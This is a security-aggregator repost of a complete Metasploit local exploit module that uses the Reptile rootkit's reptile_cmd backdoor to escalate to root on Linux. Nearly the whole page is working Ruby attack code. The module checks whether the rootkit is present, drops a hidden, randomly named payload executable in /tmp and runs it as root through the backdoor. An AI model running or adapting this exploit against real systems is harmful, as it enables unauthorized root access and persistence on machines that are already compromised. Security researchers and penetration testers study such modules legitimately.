HackDig : Dig high-quality web security articles for hackers

Reptile Rootkit reptile_cmd Privilege Escalation

2019-12-24 11:10
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Local  Rank = ExcellentRanking  include Msf::Post::File  include Msf::Post::Linux::Priv  include Msf::Post::Linux::System  include Msf::Exploit::EXE  include Msf::Exploit::FileDropper  def initialize(info = {})    super(update_info(info,      'Name'           => 'Reptile Rootkit reptile_cmd Privilege Escalation',      'Description'    => %q{        This module uses Reptile rootkit's `reptile_cmd` backdoor executable        to gain root privileges using the `root` command.        This module has been tested successfully with Reptile from `master`        branch (2019-03-04) on Ubuntu 18.04.3 (x64) and Linux Mint 19 (x64).      },      'License'        => MSF_LICENSE,      'Author'         =>        [          'f0rb1dd3n', # Reptile          'bcoles'     # Metasploit        ],      'DisclosureDate' => '2018-10-29', # Reptile first stable release      'References'     =>        [          ['URL', 'https://github.com/f0rb1dd3n/Reptile'],          ['URL', 'https://github.com/f0rb1dd3n/Reptile/wiki/Usage']        ],      'Platform'       => ['linux'],      'Arch'           => [ARCH_X86, ARCH_X64],      'SessionTypes'   => ['shell', 'meterpreter'],      'Targets'        => [['Auto', {}]],      'Notes'          =>        {          'Reliability' => [ REPEATABLE_SESSION ],          'Stability'   => [ CRASH_SAFE ]        },      'DefaultTarget'  => 0))    register_options [      OptString.new('REPTILE_CMD_PATH', [true, 'Path to reptile_cmd executable', '/reptile/reptile_cmd'])    ]    register_advanced_options [      OptBool.new('ForceExploit', [false, 'Override check result', false]),      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])    ]  end  def reptile_cmd_path    datastore['REPTILE_CMD_PATH']  end  def base_dir    datastore['WritableDir'].to_s  end  def upload(path, data)    print_status "Writing '#{path}' (#{data.size} bytes) ..."    rm_f path    write_file path, data    register_file_for_cleanup path  end  def upload_and_chmodx(path, data)    upload path, data    chmod path  end  def check    unless executable? reptile_cmd_path      vprint_error "#{reptile_cmd_path} is not executable"      return CheckCode::Safe    end    vprint_good "#{reptile_cmd_path} is executable"    res = cmd_exec("echo id|#{reptile_cmd_path} root").to_s.strip    vprint_status "Output: #{res}"    if res.include?('You have no power here!')      vprint_error 'Reptile kernel module is not loaded'      return CheckCode::Safe    end    unless res.include?('root')      vprint_error 'Reptile is not installed'      return CheckCode::Safe    end    vprint_good 'Reptile is installed and loaded'    CheckCode::Vulnerable  end  def exploit    unless check == CheckCode::Vulnerable      unless datastore['ForceExploit']        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'      end      print_warning 'Target does not appear to be vulnerable'    end    if is_root?      unless datastore['ForceExploit']        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'      end    end    unless writable? base_dir      fail_with Failure::BadConfig, "#{base_dir} is not writable"    end    payload_name = ".#{rand_text_alphanumeric 8..12}"    payload_path = "#{base_dir}/#{payload_name}"    upload_and_chmodx payload_path, generate_payload_exe    print_status 'Executing payload...'    res = cmd_exec "echo '#{payload_path}&' | #{reptile_cmd_path} root & echo "    vprint_line res  endend


Source: 5900219102-BLW/eussi/moc.ytirucesxc

Read:1588 | Comments:0 | Tags:No Tag

“Reptile Rootkit reptile_cmd Privilege Escalation”0 Comments

Submit A Comment

Name:

Email:

Blog :

Verification Code:

Tools

Tag Cloud